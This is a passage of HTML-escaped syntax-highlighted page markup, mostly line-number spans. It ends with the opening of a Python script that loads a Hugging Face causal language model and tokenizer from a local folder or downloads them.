&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt;53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt;54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt;55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt;56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt;57&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;58&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#58&#34;&gt;58&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;59&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#59&#34;&gt;59&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;60&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#60&#34;&gt;60&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;61&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#61&#34;&gt;61&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;62&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#62&#34;&gt;62&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;63&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#63&#34;&gt;63&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;64&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#64&#34;&gt;64&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;65&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#65&#34;&gt;65&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;66&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#66&#34;&gt;66&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;67&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#67&#34;&gt;67&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;68&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#68&#34;&gt;68&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;69&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#69&#34;&gt;69&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;70&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#70&#34;&gt;70&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;71&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#71&#34;&gt;71&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;72&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#72&#34;&gt;72&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;73&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#73&#34;&gt;73&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;74&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#74&#34;&gt;74&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;75&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#75&#34;&gt;75&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;76&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#76&#34;&gt;76&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;77&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#77&#34;&gt;77&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;78&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#78&#34;&gt;78&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;79&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#79&#34;&gt;79&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;80&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#80&#34;&gt;80&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;81&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#81&#34;&gt;81&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;82&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#82&#34;&gt;82&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;83&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#83&#34;&gt;83&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;84&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#84&#34;&gt;84&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;85&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#85&#34;&gt;85&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;86&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#86&#34;&gt;86&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;87&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#87&#34;&gt;87&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;88&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#88&#34;&gt;88&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;89&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#89&#34;&gt;89&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;90&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#90&#34;&gt;90&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;91&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#91&#34;&gt;91&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;92&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#92&#34;&gt;92&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;93&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#93&#34;&gt;93&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;warnings&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;logging&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;torch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;transformers&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; AutoModelForCausalLM, AutoTokenizer
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DEBUG &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Suppress warnings and set the logging level to ERROR&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;warnings&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;filterwarnings(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;ignore&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;logging&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;getLogger(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;transformers&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;setLevel(logging&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ERROR)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Define the directory where you want to save the model and tokenizer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MODEL_PATH &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./local_model&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check if the model and tokenizer are already saved locally&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exists(MODEL_PATH):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Loading model and tokenizer from local directory: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;MODEL_PATH&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the model and tokenizer from the local directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(MODEL_PATH)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(MODEL_PATH)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Downloading model and tokenizer from Hugging Face&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
